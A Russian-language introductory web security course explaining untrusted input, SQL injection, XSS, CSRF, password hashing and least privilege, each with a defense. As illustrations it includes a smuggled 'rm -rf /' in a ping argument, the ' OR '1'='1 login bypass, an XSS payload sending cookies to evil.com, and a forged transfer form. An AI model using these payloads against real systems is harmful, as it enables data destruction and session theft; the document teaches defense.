# Никогда не доверяй вводу

Экспресс-курс по основам веб-безопасности: почти любая уязвимость начинается с доверия данным, что пришли снаружи. 21 понятие — Trust Boundary, Injection, SQL Injection, XSS, CSRF, Hashing, Salt, Least Privilege, Defense in Depth, OWASP Top 10 и другие — у каждого английское название, схема, карточка с примером и связи. В конце — шпаргалка по всем понятиям на одной странице.

- **Author:** Фёдор Чищин
- **Level:** intro
- **Reading time:** ~30 минут чтения
- **Published:** 2026-06-13
- **Source:** https://fedorthinks.com/ru/learn/web-security-express

---

## 1. Одно правило

До любой конкретной атаки есть один принцип, который предотвращает большинство из них. Пойми эту мысль — и весь остальной курс окажется ею же, применённой в разных местах.

### Карта: 21 понятие в шести группах

> Карта метро: сначала видишь линии целиком, потом едешь по станциям.

Курс идёт по шести группам. Первая — **одно правило** «не доверяй вводу». Потом три классические атаки: **Injection** (ввод становится кодом на сервере), **XSS** (ввод становится скриптом в браузере) и **CSRF** (браузер обманом шлёт запрос от твоего имени). Потом — как хранить **секреты и пароли**. И в конце — как **ограничить ущерб**, когда что-то всё-таки прорвалось, плюс практика.

_Diagram: Шесть групп понятий — по ним идут главы курса (последняя группа — главы 6 и 7)._

### Как читать каждое понятие

> Паспорт: одинаковые поля у всех, поэтому их легко сравнивать.

У каждого понятия дальше одно и то же: **английское название** (его и ищут в документации), образ из жизни, **схема** и **карточка**. У атак поля такие: _что это_, _как работает_, _пример_, _защита_, _связи_. У защит и принципов: _проблема_, _идея_, _пример_, _цена_, _связи_. Главное правило курса одно, и ты увидишь его в каждой карточке: **ввод — это данные, а не код**.

### Untrusted Input — любой внешний ввод управляет атакующий

> Пограничный пост считает каждую посылку потенциально опасной, пока не досмотрит. Он не пропускает вещи только потому, что они выглядят обычно.

Всё, что входит в систему снаружи — поля форм, URL, заголовки, загруженные файлы, вызовы API, — управляется тем, кто это прислал. А это может быть атакующий. Он может прислать что угодно, а не только то, что задумала твоя форма. Это понятие называется **untrusted input** (недоверенный ввод), и правило такое: **считай любой внешний ввод враждебным, пока не провалидировал его.** Почти каждая уязвимость в курсе — это место, где кто-то доверился вводу, которому не следовало.

_Diagram: Атакующий управляет каждым входом: формами, URL, заголовками, файлами, API._

#### Untrusted Input (недоверенный ввод)

- **Проблема:** Код молча считает, что пришло ровно то, что задумала форма.
- **Идея:** Любой внешний ввод — враждебный, пока ты его не проверил.
- **Пример:** В поле «имя» приходит не имя, а SQL, тег `<script>` или строка на мегабайт.
- **Цена:** Проверки нужны на каждом входе, а не «где-нибудь».
- **Связи:** Где проверять — **Trust Boundary**; как — **Input Validation** и **Output Escaping**.

### Trust Boundary — граница доверия

> Стена вокруг здания с одними охраняемыми воротами. Внутри доверено, снаружи нет, и всё, что пересекает черту, проверяется на этой черте.

**Граница доверия (trust boundary)** — это черта между внешним миром и твоей системой. Данные, которые пересекают её внутрь, надо проверять _на_ этой границе: оказавшись внутри, они обычно считаются безопасными. Классическая ошибка — проверять только на клиенте (в браузере) и думать, что этого хватит. Атакующий просто обходит браузер. **Настоящие проверки безопасности — на сервере**, на границе, которой ты реально управляешь.

_Diagram: Проверки в браузере легко обойти скриптом. Настоящая проверка — на сервере, на границе доверия._

#### Trust Boundary (граница доверия)

- **Проблема:** Проверка есть только в браузере, а атакующий шлёт запрос напрямую, мимо него.
- **Идея:** Провести черту «снаружи / внутри» и проверять всё на ней, на сервере.
- **Пример:** JS-форма не даёт ввести отрицательную сумму, но `curl` с `amount=-500` дойдёт до сервера.
- **Цена:** Проверки на клиенте всё равно нужны для удобства — это дублирование.
- **Связи:** Здесь живёт **Input Validation**; клиентские проверки — удобство, не защита.

### Input Validation и Output Escaping — валидируй ввод, экранируй вывод

> Вышибала проверяет документы на входе — кто заходит. Переводчик следит, чтобы твои слова не прочли как команду в соседней комнате — как вещи выходят. Две разные работы.

Две привычки останавливают большинство атак. **Input validation (валидация ввода)**: отвергай данные не той формы, что ты ждёшь, — не тот тип, слишком длинные, кривые. **Output escaping (экранирование вывода)**: когда кладёшь данные в другой контекст — запрос к базе, HTML-страницу, команду шелла, — обезвредь всё, что там можно прочесть как код. Почти каждая атака ниже — это недоверенный ввод, который проскользнул туда, где его читают как инструкцию, а не как данные.

_Diagram: На входе — валидация (не та форма → отказ). На выходе — экранирование под каждый контекст: SQL, HTML, шелл._

#### Input Validation (валидация ввода)

- **Проблема:** В систему заходят данные любой формы и длины.
- **Идея:** Описать, что ожидаешь (тип, длина, формат), и отвергать всё остальное на границе.
- **Пример:** `age` — целое от 0 до 150; `email` — по формату и не длиннее 254 символов.
- **Цена:** Валидация не делает ввод безопасным везде — на выходе всё равно нужен **Output Escaping**.
- **Связи:** Работает на **Trust Boundary**; в паре с **Output Escaping** (глава 3).

> **Вопрос рамки:** «Где внешние данные входят в мою систему, и отношусь ли я к ним как к враждебным — валидированным на границе и экранированным везде, где используются, — или тихо им доверяю?»

> Каждый клочок внешнего ввода управляется атакующим. Валидируй его на границе на сервере и экранируй везде, где используешь. Одно это правило предотвращает большинство атак.

## 2. Инъекция

Самый разрушительный класс атак — и самый простой для понимания: недоверенный ввод выполняется как код. Хрестоматийный случай — SQL-инъекция, и на ней видна вся схема.

### Injection — ввод становится кодом

> Форма просит твоё имя, а кто-то пишет вместо него инструкцию. Клерк читает всю строку вслух — и случайно выполняет инструкцию.

**Инъекция (injection)** — это когда недоверенный ввод подмешивают в команду или запрос, и он выполняется как его часть. Система собиралась использовать ввод как _данные_, а ввод был сделан так, чтобы его прочли как _код_. Корневой изъян один и тот же в SQL, командах шелла и прочем: граница между «инструкцией» и «данными пользователя» никогда не соблюдалась, и атакующий подставил свои инструкции.

_Diagram: Твоя инструкция и ввод склеены в одну строку — интерпретатор уже не видит, где кончается код и начинаются данные._

#### Injection (инъекция)

- **Что это:** Недоверенный ввод выполняется как часть команды или запроса.
- **Как работает:** Код склеивает ввод в строку, а интерпретатор (SQL, шелл…) выполняет её целиком.
- **Пример:** `os.system("ping " + host)`, а в `host` пришло `8.8.8.8; rm -rf /`.
- **Защита:** Передавать ввод отдельно от кода — параметрами, а не склейкой.
- **Связи:** Частный случай — **SQL Injection**; в браузере та же идея — **XSS**.

### SQL Injection — классический случай

> Библиотечный бланк заказа, где в поле «название» кто-то пишет «…а ещё отопри все двери» — и автоматическая система послушно делает и то и другое.

В **SQL-инъекции (SQL injection)** атакующий печатает синтаксис базы данных в обычное поле. Если код строит запрос, склеивая ввод со строкой, ввод становится частью запроса. Так можно читать чужие данные, обойти вход или удалить таблицы. Десятилетиями это одна из самых частых и серьёзных веб-уязвимостей, и вся она — от построения запросов **конкатенацией строк** с недоверенным вводом.

_Diagram: Ввод ' OR '1'='1 превращает условие в «всегда истина» — база отдаёт строки всех пользователей._

#### SQL Injection (SQL-инъекция)

- **Что это:** Инъекция в запрос к базе данных.
- **Как работает:** Запрос собирают как `"... WHERE name = '" + input + "'"`, и ввод меняет его смысл.
- **Пример:** Ввод `' OR '1'='1` в форме входа — условие всегда истинно, проверка пароля обойдена.
- **Защита:** **Parameterized Query** — каждый раз, без исключений.
- **Связи:** Самый известный вид **Injection**; есть в **OWASP Top 10** в категории Injection.

### Parameterized Query — лекарство

> Форма с запертыми подписанными ящиками: что бы ты ни написал в ящик «имя», это будет только именем, а не частью инструкций формы.

Лекарство — **параметризованный запрос (parameterized query, prepared statement)**. Ты пишешь запрос с заглушками и передаёшь ввод отдельно. База сначала разбирает структуру запроса, а потом подставляет данные в слоты — поэтому ввод всегда остаётся данными, а не SQL. Ввод может быть самой мерзкой строкой, какую только можно придумать, и всё равно не изменит структуру запроса. **Никогда не строй запрос склейкой ввода в строку** — используй параметры каждый раз, и SQL-инъекция просто не сможет случиться.

_Diagram: Запрос и данные идут к базе раздельно: ввод попадает только в слот $1 и не может поменять форму запроса._

#### Parameterized Query (prepared statement, параметризованный запрос)

- **Проблема:** Склейка строк превращает ввод в часть SQL.
- **Идея:** Сначала форма запроса с заглушками, потом данные — отдельно.
- **Пример:** `db.query("SELECT * FROM users WHERE name = $1", [input])`
- **Цена:** Почти никакой. Подвох: имена таблиц и колонок параметром не передать — их берут из белого списка.
- **Связи:** Лечит **SQL Injection**; ORM и query builders делают это за тебя — если их не обходить.

> **Вопрос инъекции:** «Склеиваю ли я где-то недоверенный ввод прямо в запрос или команду — или каждый кусок ввода передаётся параметром, который может быть только данными?»

> Инъекция — это недоверенный ввод, выполненный как код. SQL-инъекция — классический случай, а параметризованные запросы — ввод как данные, без склейки — лекарство.

## 3. Межсайтовый скриптинг

Если инъекция — это ввод, ставший кодом на сервере, то межсайтовый скриптинг — это ввод, ставший кодом в браузере. Он превращает твою же страницу в оружие против твоих пользователей.

### XSS — ввод становится скриптом в браузере

> Доска объявлений, на которую кто-то прикалывает записку с подвохом: у каждого, кто её читает, тихо обчищают карманы. Опасность приносит сама доверенная доска.

**Межсайтовый скриптинг (cross-site scripting, XSS)** — это когда атакующий заставляет свой JavaScript выполниться в браузере другого пользователя, на твоём сайте. Если ты берёшь ввод — комментарий, имя, профиль — и кладёшь его прямо на страницу, атакующий может прислать `<script>` вместо текста. И этот скрипт выполнится у каждого, кто откроет страницу. Его код действует с сессией твоего пользователя: крадёт cookie, выдаёт себя за него, портит страницу.

_Diagram: Атакующий оставляет комментарий со скриптом, сайт показывает его другим, скрипт в их браузере отправляет cookie атакующему._

#### XSS (Cross-Site Scripting, межсайтовый скриптинг)

- **Что это:** Чужой JavaScript выполняется в браузере твоего пользователя на твоём сайте.
- **Как работает:** Ввод кладут на страницу как HTML, без экранирования.
- **Пример:** Комментарий `<script>fetch('//evil.com?c='+document.cookie)</script>` крадёт сессию у каждого читателя.
- **Защита:** **Output Escaping** + **Content Security Policy**.
- **Связи:** Та же идея, что **Injection**, только код выполняется в браузере.

### Почему XSS так опасен — он работает с доверием твоего сайта

> Самозванец в доверенной форме: люди подчиняются, потому что доверяют форме — домену твоего сайта, — а не человеку внутри неё.

Вредоносный скрипт работает _как твой сайт_, со всем доверием, которое пользователь даёт твоему домену. Он может читать то, что видит пользователь, действовать от его имени и отправлять его данные атакующему. Браузер никак не может понять, что скрипт не твой, — он пришёл с твоей страницы. Поэтому «это всего лишь поле комментария» — знаменитые последние слова: **любое место, где ввод доходит до страницы, — потенциальная дыра XSS**.

_Diagram: Внутри одного сайта у твоего скрипта и у внедрённого одинаковые права: cookie, содержимое страницы, запросы к API от имени пользователя._

### Output Escaping и Content Security Policy — защита от XSS

> Переводчик выводит слова каждого гостя на экран простым текстом. Даже если кто-то выкрикнет команду, она появится как безобидные слова в кавычках, а не как приказ.

Главное лекарство — **экранирование вывода (output escaping)**: когда кладёшь пользовательские данные в HTML, превращай символы вроде `<` и `>` в безобидный текст, чтобы они показывались, а не выполнялись как разметка. Современные фреймворки делают это по умолчанию — поэтому доверься им. Сверху добавь **Content Security Policy (CSP)** — правило для браузера, которое ограничивает, какие скрипты вообще можно запускать. Это вторая линия защиты. Всё, что доходит до страницы, — недоверенное; обезвреживай его на выходе.

_Diagram: Слева: экранирование превращает тег в обычный текст. Справа: CSP разрешает только скрипты с твоего сайта._

#### Output Escaping (output encoding, экранирование вывода)

- **Проблема:** Ввод на странице читается браузером как разметка и код.
- **Идея:** Перед выводом превращать опасные символы в безопасный текст — по правилам контекста.
- **Пример:** `<script>` становится `&lt;script&gt;` и просто видно на экране.
- **Цена:** Экранировать надо под каждый контекст (HTML, атрибут, URL, JS); «сырой HTML» в обход фреймворка ломает защиту.
- **Связи:** Главная защита от **XSS**; вторая половина правила «валидируй ввод, экранируй вывод».

#### Content Security Policy (CSP)

- **Проблема:** Экранирование где-то забыли — и чужой скрипт выполнился.
- **Идея:** Заголовок, в котором сайт говорит браузеру, какие скрипты разрешены.
- **Пример:** `Content-Security-Policy: script-src 'self'` — запрещает inline-скрипты и чужие домены.
- **Цена:** Нужно настраивать и проверять: строгая политика может сломать сторонние виджеты.
- **Связи:** Вторая линия против **XSS** — пример **Defense in Depth**.

> **Вопрос XSS:** «Везде, где пользовательский ввод доходит до страницы, экранирован ли он и показывается как текст — или хитрый ввод мог бы выполниться как скрипт в браузерах моих пользователей?»

> XSS — это недоверенный ввод, который работает как скрипт в браузерах твоих пользователей, с доверием твоего сайта. Экранируй всё, что доходит до страницы, и добавь Content Security Policy.

## 4. Межсайтовая подделка запроса

Следующая атака ничего не внедряет. Она пользуется привычкой браузера прикреплять твои учётные данные к каждому запросу и обманом заставляет его действовать от твоего имени без твоего намерения.

### CSRF — браузер обманом заставляют действовать

> Кто-то подделывает твою подпись на бланке и отправляет его с твоего адреса. Банк видит правильный подписанный запрос от тебя и выполняет его, не зная, что писал не ты.

**Межсайтовая подделка запроса (cross-site request forgery, CSRF)** использует то, что браузер автоматически прикрепляет твои cookie — включая сессию, где ты залогинен, — к любому запросу к сайту. Атакующий кладёт на свою страницу скрытый запрос к твоему банку. Ты заходишь на неё, будучи залогиненным в банке, — и браузер отправляет запрос _с твоей сессией_. Банк думает, что это сделал ты. Тебя заставили действовать, хотя ты ничего не выбирал.

_Diagram: Ты вошёл в банк, потом открыл evil.com — его скрытая форма шлёт перевод в банк, а браузер сам прикладывает твою cookie._

#### CSRF (Cross-Site Request Forgery, межсайтовая подделка запроса)

- **Что это:** Чужой сайт заставляет твой браузер отправить запрос с твоей сессией.
- **Как работает:** Браузер сам прикладывает cookie к запросу на сайт, откуда бы этот запрос ни пришёл.
- **Пример:** На evil.com скрытая форма с `POST bank.com/transfer?to=attacker`, отправляется автоматически.
- **Защита:** **CSRF Token** + **SameSite Cookie**.
- **Связи:** Частный случай **Confused Deputy**.

### Confused Deputy — проблема запутанного посредника

> Доверенный помощник с ключами, которого поддельной запиской уговорили открыть хранилище. Власть у помощника была — его обманом заставили применить её для другого.

CSRF — это атака **«запутанного посредника» (confused deputy)**: твой браузер держит настоящую власть (твою сессию), и его обманом заставляют применить её для атакующего. Сервер не может отличить подделку: запрос выглядит ровно как настоящий — те же cookie, тот же пользователь. Изъян не в украденных паролях. Изъян в том, что правильный запрос запустил кто-то другой, и **ничто не доказало твоё намерение**.

_Diagram: У атакующего нет прав — он обманывает того, у кого они есть (браузер), а банк видит правильную cookie._

#### Confused Deputy (запутанный посредник)

- **Что это:** Программа с правами, которую обманом заставили использовать их по чужой просьбе.
- **Как работает:** Сервер проверяет только «кто» (cookie), но не «хотел ли он этого».
- **Пример:** Браузер с твоей сессией выполняет форму, которую подсунул evil.com.
- **Защита:** Требовать доказательство намерения, а не только наличие прав.
- **Связи:** **CSRF** — самый известный пример; лечится **CSRF Token** и **SameSite**.

### CSRF Token и SameSite Cookie — доказать намерение

> Банк требует к каждому переводу одноразовый код, напечатанный только в твоей выписке. Поддельный запрос откуда-то ещё не может его знать — и его отклоняют.

Лекарство — требовать доказательство, что запрос сделала _твоя_ страница. **CSRF-токен (CSRF token)** — секретное значение, которое сайт вставляет в свои формы и проверяет при отправке. Страница атакующего его не знает, и поддельный запрос проваливается. Современное дополнение — атрибут cookie **SameSite**: он говорит браузеру не отправлять сессионную cookie с запросами, которые пришли с других сайтов. Вместе они гарантируют, что важное действие пришло с твоего сайта и по твоему намерению.

_Diagram: Форма с твоей страницы несёт токен и проходит; форма с evil.com токена не знает, а cookie браузер не прикладывает — 403._

#### CSRF Token (anti-CSRF token)

- **Проблема:** Сервер не может отличить твою форму от поддельной.
- **Идея:** Секрет в каждой форме твоего сайта; сервер принимает запрос, только если секрет совпал.
- **Пример:** Скрытое поле `<input name="csrf" value="a8f3…">`, его сверяют с сессией.
- **Цена:** Нужно добавлять во все формы и запросы, которые что-то меняют.
- **Связи:** Защита от **CSRF**; фреймворки обычно делают это за тебя. В паре с **SameSite Cookie**.

#### SameSite Cookie (атрибут cookie SameSite)

- **Проблема:** Браузер прикладывает cookie к запросам с любых сайтов.
- **Идея:** Пометить сессионную cookie, чтобы браузер не слал её в межсайтовых запросах.
- **Пример:** `Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly`
- **Цена:** Это дополнение, а не замена токену: зависит от браузера и настроек.
- **Связи:** Вместе с **CSRF Token** закрывает **CSRF** — снова **Defense in Depth**.

> **Вопрос CSRF:** «Для действий, которые что-то меняют, доказываю ли я, что запрос пришёл с моего сайта по намерению пользователя — токеном и SameSite-cookie, — а не просто доверяю приложенной сессии?»

> CSRF обманом заставляет твой браузер отправить запрос с твоей сессией. Доказывай намерение CSRF-токеном и SameSite-cookie, чтобы поддельные межсайтовые запросы отклонялись.

## 5. Хранение секретов и паролей

Некоторые данные настолько чувствительны, что сам способ их хранения — уже решение о безопасности. Пароли — классический пример, и на них видна разница между двумя словами, которые постоянно путают.

### Plaintext Passwords — никогда не храни пароли открытым текстом

> Список ключей от всех домов в незапертом ящике на ресепшене. Один взлом — и открыт каждый дом. Удобство и есть катастрофа.

Если хранить пароли читаемым текстом (**plaintext**), то любой, кто добрался до базы — через утечку, взлом, инсайдера, — сразу получает пароль каждого пользователя. А поскольку люди повторяют пароли, ты подставил и их другие аккаунты. Хранить пароль открытым текстом — одна из самых серьёзных и базовых ошибок веб-безопасности. Эти данные слишком опасны, чтобы держать их в виде, который ты можешь прочесть.

_Diagram: Пароли открытым текстом: одна утечка — все пароли прочитаны, а с ними и чужие аккаунты, где их повторили._

### Hashing vs Encryption — хеширование одностороннее, шифрование двустороннее

> Шредер против запертого ящика. Ящик можно открыть и достать оригинал. Шредер превращает бумагу в конфетти, которое не собрать, — но один и тот же лист всегда режется одинаково.

Это различие надо запомнить. **Шифрование (encryption)** обратимо: с ключом ты превращаешь зашифрованные данные обратно в оригинал. Его берут для данных, которые нужно снова читать, — например, сохранённый API-ключ. **Хеширование (hashing)** одностороннее: оно превращает ввод в отпечаток фиксированной длины, который нельзя развернуть обратно, но один и тот же ввод всегда даёт один и тот же отпечаток. Они решают разные задачи, и путать их — классическая ошибка.

_Diagram: Шифрование: с ключом можно вернуть оригинал. Хеширование: только сравнить отпечатки, обратного пути нет._

#### Hashing vs Encryption (хеширование и шифрование)

- **Шифрование:** Двустороннее: с ключом можно прочитать обратно.
- **Хеширование:** Одностороннее: отпечаток не развернуть, можно только сравнить.
- **Пример:** API-ключ партнёра — шифруем (он нужен в запросах). Пароль — хешируем (его нужно только проверить).
- **Подвох:** «Зашифрованные пароли» — ошибка: украдут ключ — прочитают все пароли.
- **Связи:** Для паролей — хеширование с **Salt** и медленным алгоритмом.

### Salt и медленный хеш — как хранить пароли правильно

> Проверка восковой печати: письмо не нужно, чтобы её проверить, — ставишь печать заново и сравниваешь оттиски. Совпадение подтверждено, а сам секрет нигде не хранится.

Пароли **хешируют**, потому что сам пароль тебе обратно не нужен — его нужно только проверить. Храни хеш; при входе хешируй то, что ввели, и сравни. Утечка сольёт отпечатки, а не пароли. Добавь **соль (salt)** — уникальное случайное значение для каждого пароля, — чтобы одинаковые пароли давали разные хеши, а заранее посчитанные таблицы атак не работали. И бери **медленный, специально созданный хеш для паролей** (вроде **bcrypt** или **Argon2**), а не быстрый общий — чтобы перебор был дорогим.

_Diagram: У Анны и Боба один пароль, но разная соль — значит, разные хеши. Медленный bcrypt/Argon2 делает перебор дорогим._

#### Salted Password Hashing (salt + bcrypt / Argon2)

- **Проблема:** Быстрый хеш без соли: одинаковые пароли видны сразу, а перебор и готовые таблицы работают.
- **Идея:** Уникальная соль на каждый пароль + намеренно медленный алгоритм для паролей.
- **Пример:** Регистрация: `hash = argon2(password, salt)`. Вход: хешируем введённое с той же солью и сравниваем.
- **Цена:** Вход чуть медленнее — это и есть смысл: атакующему ещё медленнее.
- **Связи:** Применение **Hashing**; при утечке ограничивает ущерб, как **Defense in Depth**.

> **Вопрос хранения:** «Для каждого чувствительного значения: мне нужно читать его обратно (шифровать) или только проверять (хешировать)? И хешируются ли пароли с солью медленным, специально созданным алгоритмом?»

> Никогда не храни пароли открытым текстом. Шифрование обратимо — для данных, которые нужно читать. Хеширование одностороннее — для данных, которые только проверяешь. Пароли — хешируй, с солью, медленным алгоритмом.

## 6. Наименьшие привилегии и глубина

Кроме конкретных атак, есть принципы, которые ограничивают ущерб, когда что-то всё же прорвалось. В безопасности ты исходишь из того, что рано или поздно прорвётся.

### Least Privilege — наименьшие привилегии

> Гостиничная карта-ключ открывает только твой номер и спортзал, а не все двери в здании. Потеряешь её — ущерб ограничен тем, куда она пускала.

**Наименьшие привилегии (least privilege)** означают, что каждый пользователь, сервис и учётная запись получают только минимум доступа, нужный для их работы, — и ничего больше. Учётка базы, под которой работает веб-приложение, не должна уметь удалять таблицы, если она только читает и пишет строки. Тогда, если что-то взломают — а исходи из того, что взломают, — **радиус поражения (blast radius)** будет маленьким: только то, что было разрешено этой одной части. Слишком широкие права превращают маленький прорыв в тотальный.

_Diagram: Учётка приложения может только читать и писать строки — даже взломав приложение, удалить таблицы или войти в другие базы нельзя._

#### Least Privilege (наименьшие привилегии)

- **Проблема:** Одна взломанная часть получает доступ ко всему.
- **Идея:** Каждой части — минимум прав для её работы.
- **Пример:** Пользователь БД для приложения: `SELECT, INSERT, UPDATE` на свои таблицы, без `DROP` и без суперпользователя.
- **Цена:** Права надо продумать и поддерживать; «дать админа» всегда проще.
- **Связи:** Один из слоёв **Defense in Depth**; в **OWASP** — Broken Access Control.

### Defense in Depth — слои, а не одна стена

> Замок со рвом, стеной, воротами и стражей. Ни один барьер не считается идеальным, и каждый ловит то, что пропустил предыдущий.

**Защита вглубь (defense in depth)** — это несколько независимых защит одна за другой, чтобы один отказ не был фатальным. Валидируй ввод _и_ используй параметризованные запросы _и_ работай с наименьшими привилегиями _и_ экранируй вывод. Любая одна защита может отказать или быть обойдена. Вместе они требуют от атакующего пробить их все сразу. Безопасность — это не одна идеальная стена, а **перекрывающие друг друга обычные защиты**, каждая из которых допускает, что другие могут отказать.

_Diagram: Атака должна пройти все слои подряд: валидацию, параметры, экранирование, наименьшие привилегии._

#### Defense in Depth (защита вглубь, эшелонированная защита)

- **Проблема:** Одна защита когда-нибудь откажет — и тогда всё открыто.
- **Идея:** Несколько независимых слоёв, каждый ловит то, что пропустил другой.
- **Пример:** Экранирование забыли в одном шаблоне — но CSP не даёт скрипту выполниться.
- **Цена:** Больше настроек и проверок; часть работы «дублируется» намеренно.
- **Связи:** Собирает вместе **Input Validation**, **Parameterized Query**, **Output Escaping**, **CSP**, **Least Privilege**.

### Information Leakage — не выдавай подсказок в ошибках

> Запертая дверь, которая, когда её дёргают, услужливо сообщает: «не тот ключ — настоящий латунный и слегка погнутый». И этим объясняет взломщику, как войти.

Подробные ошибки и слишком щедрые ответы дают атакующему карту. Это называют **утечкой информации (information leakage)**. Вход, который пишет «неверный пароль» (а не «нет такого пользователя»), подтверждает, какие аккаунты существуют. Стек-трейс показывает фреймворк, версии и устройство запросов. Показывай пользователю общее сообщение, детали пиши в закрытые логи и никогда не отдавай больше данных, чем нужно клиенту. Тихий отказ — это не просто аккуратно: он лишает атакующего разведки, которая облегчает следующий шаг.

_Diagram: Слева ответы выдают, какие аккаунты есть и что внутри. Справа — общее сообщение для пользователя, детали — в закрытые логи._

#### Information Leakage (утечка информации через ошибки)

- **Что это:** Ошибки и ответы рассказывают атакующему, как устроена система.
- **Пример:** «Нет такого пользователя» против «неверный пароль»; стек-трейс с `db.py:42` и версией базы.
- **Защита:** Общее сообщение («неверный email или пароль»), детали — в логи, в ответе только нужные поля.
- **Подвох:** Режим отладки, случайно включённый в продакшене.
- **Связи:** В **OWASP Top 10** — Security Misconfiguration; ещё один слой **Defense in Depth**.

> **Вопрос сдерживания:** «Если бы взломали эту одну часть, как далеко дотянулся бы атакующий — и ограничиваю ли я это наименьшими привилегиями, слоями защиты и ошибками без подсказок?»

> Исходи из того, что что-то прорвётся. Наименьшие привилегии ограничивают ущерб, защита вглубь делает так, что ни один отказ не фатален, а тихие ошибки лишают атакующего карты.

## 7. Применять хорошо + шпаргалка

Безопасность — это практика, вплетённая в то, как ты строишь, а не фича, прикрученная в конце. Привычек немного, и большинство из них — то самое одно правило, применённое с дисциплиной.

### Secure Defaults и Patching — опирайся на фреймворк и обновляйся

> Ты не куёшь свои замки — ты ставишь проверенные и меняешь их, когда объявлен изъян. Самодельный замок почти всегда хуже.

Большинство классических атак уже решены зрелыми фреймворками и библиотеками: они экранируют вывод, параметризуют запросы и обрабатывают CSRF-токены за тебя — если пользоваться ими как задумано, а не обходить. Это **безопасные настройки по умолчанию (secure defaults)**. А поскольку уязвимости в зависимостях находят постоянно, **держи их обновлёнными (patching)**: непропатченная библиотека — один из самых частых путей внутрь. Не изобретай свою криптографию или своё экранирование — бери проверенные инструменты и держи их свежими.

#### Secure Defaults + Patching (защита фреймворка и обновления)

- **Проблема:** Самодельная криптография и экранирование с дырами; старые библиотеки с известными уязвимостями.
- **Идея:** Пользоваться встроенной защитой фреймворка как задумано и регулярно обновлять зависимости.
- **Пример:** Шаблонизатор экранирует сам; ORM параметризует; бот вроде Dependabot предлагает обновления.
- **Цена:** Обновления надо тестировать; обход фреймворка («сырой» HTML/SQL) ломает защиту.
- **Связи:** Даёт **Output Escaping**, **Parameterized Query**, **CSRF Token** «бесплатно».

### OWASP Top 10 — карта самых частых уязвимостей

> Предполётный чек-лист существует потому, что одни и те же несколько сбоев вызывают большинство аварий. Их проверяют каждый раз, а не открывают заново в воздухе.

Не надо придумывать каждую угрозу самому. **OWASP Top 10** — это отраслевой список самых частых и серьёзных веб-уязвимостей: инъекции, сломанный контроль доступа и другие. Он работает как чек-лист. Пройди по нему своё приложение — и поймаешь категории, на которые приходится подавляющее большинство реальных взломов. Пользоваться известной картой лучше, чем надеяться, что сам обо всём подумал.

_Diagram: Почти всё из этого курса ложится на категории OWASP Top 10._

#### OWASP Top 10 (список самых частых веб-уязвимостей)

- **Что это:** Отраслевой рейтинг самых частых и опасных классов веб-уязвимостей.
- **Как пользоваться:** Как чек-листом: пройти по каждой категории для своего приложения.
- **Пример:** Категория Injection — проверить, что все запросы параметризованы, а вывод экранирован.
- **Подвох:** Это минимум, а не полная гарантия безопасности.
- **Связи:** Объединяет всё в курсе: от **Injection** до **Least Privilege**.

### Как всё связано

> Дом защищают сразу замок, сигнализация и сейф — не «одна правильная мера».

В центре — одно правило **«никогда не доверяй вводу»**, проверенное на границе доверия. Из него растут три защиты от трёх атак: **параметризованные запросы** против Injection, **экранирование и CSP** против XSS, **токен и SameSite** против CSRF. А на случай, если что-то всё же прорвётся, — **хеширование с солью** (утечка не выдаст пароли), **наименьшие привилегии** (взлом одной части не даст всего) и **защита вглубь** (отказ одного слоя не фатален). Сверху над всем — **OWASP Top 10** как чек-лист.

_Diagram: Одно правило в центре, три защиты против трёх атак, три принципа на случай прорыва и OWASP Top 10 как общий чек-лист._

#### Прежде чем выкатывать веб-фичу

- **Где входит внешний ввод**, и валидирован ли он на границе на сервере?
- **Запросы** — параметризованы, никогда не собраны склейкой ввода?
- **Вывод на страницу** — экранирован, чтобы ввод не выполнился как скрипт?
- **Действия, которые что-то меняют** — защищены от CSRF токеном и SameSite?
- **Чувствительные данные** — пароли хешированы с солью, секреты не лежат открытым текстом?
- **Наименьшие привилегии** — у каждой части только тот доступ, что ей нужен?

#### Признаки, что ты строишь безопасно

- Ты считаешь **любой внешний ввод враждебным** и проверяешь его на сервере, на границе.
- Запросы **параметризованы**, вывод на страницу **экранирован** — по умолчанию, через фреймворк.
- Запросы, которые что-то меняют, несут **CSRF-токен**, а cookie — **SameSite**.
- Пароли **хешированы с солью**; ничего чувствительного не хранится открытым текстом.
- Каждая часть работает с **наименьшими привилегиями**, зависимости **обновлены**, и ты сверяешься с **OWASP Top 10**.

## Шпаргалка: все 21 понятие

### Одно правило

- **Untrusted Input** (недоверенный ввод): Всё, что пришло снаружи, контролирует атакующий. Враждебно, пока не проверено.
- **Trust Boundary** (граница доверия): Черта «снаружи / внутри». Проверки — на ней, на сервере, а не в браузере.
- **Input Validation** (валидация ввода): Отвергай всё, что не той формы: тип, длина, формат.

### Injection

- **Injection** (инъекция): Ввод склеен с командой и выполняется как код.
- **SQL Injection** (SQL-инъекция): Инъекция в запрос к базе: `' OR '1'='1` и база отдаёт всё.
- **Parameterized Query** (prepared statement): Запрос и данные раздельно — ввод всегда остаётся данными.

### XSS

- **XSS** (Cross-Site Scripting): Чужой скрипт в браузере пользователя с доверием твоего сайта.
- **Output Escaping** (экранирование вывода): `<` → `&lt;`: ввод показывается как текст, а не выполняется.
- **Content Security Policy** (CSP): Заголовок: какие скрипты браузеру разрешено запускать. Вторая линия.

### CSRF

- **CSRF** (Cross-Site Request Forgery): Чужой сайт шлёт запрос через твой браузер с твоей cookie.
- **Confused Deputy** (запутанный посредник): Того, у кого есть права, обманом заставили применить их для другого.
- **CSRF Token** (anti-CSRF token): Секрет в твоих формах: поддельный запрос его не знает.
- **SameSite Cookie** (атрибут cookie): Браузер не прикладывает cookie к межсайтовым запросам.

### Секреты и пароли

- **Plaintext Passwords** (открытый текст): Антипаттерн: одна утечка — все пароли и чужие аккаунты.
- **Hashing vs Encryption** (хеш / шифр): Хеш — односторонний, только сравнить. Шифр — с ключом можно прочитать.
- **Salted Password Hashing** (salt + bcrypt / Argon2): Соль на каждый пароль + медленный алгоритм: перебор дорогой.

### Сдерживание и практика

- **Least Privilege** (наименьшие привилегии): Минимум прав — маленький радиус поражения.
- **Defense in Depth** (защита вглубь): Несколько независимых слоёв; ни один отказ не фатален.
- **Information Leakage** (утечка через ошибки): Общие сообщения пользователю, детали — в закрытые логи.
- **Secure Defaults + Patching** (фреймворк и обновления): Используй защиту фреймворка как задумано и обновляй зависимости.
- **OWASP Top 10** (карта уязвимостей): Отраслевой список самых частых уязвимостей — как чек-лист.

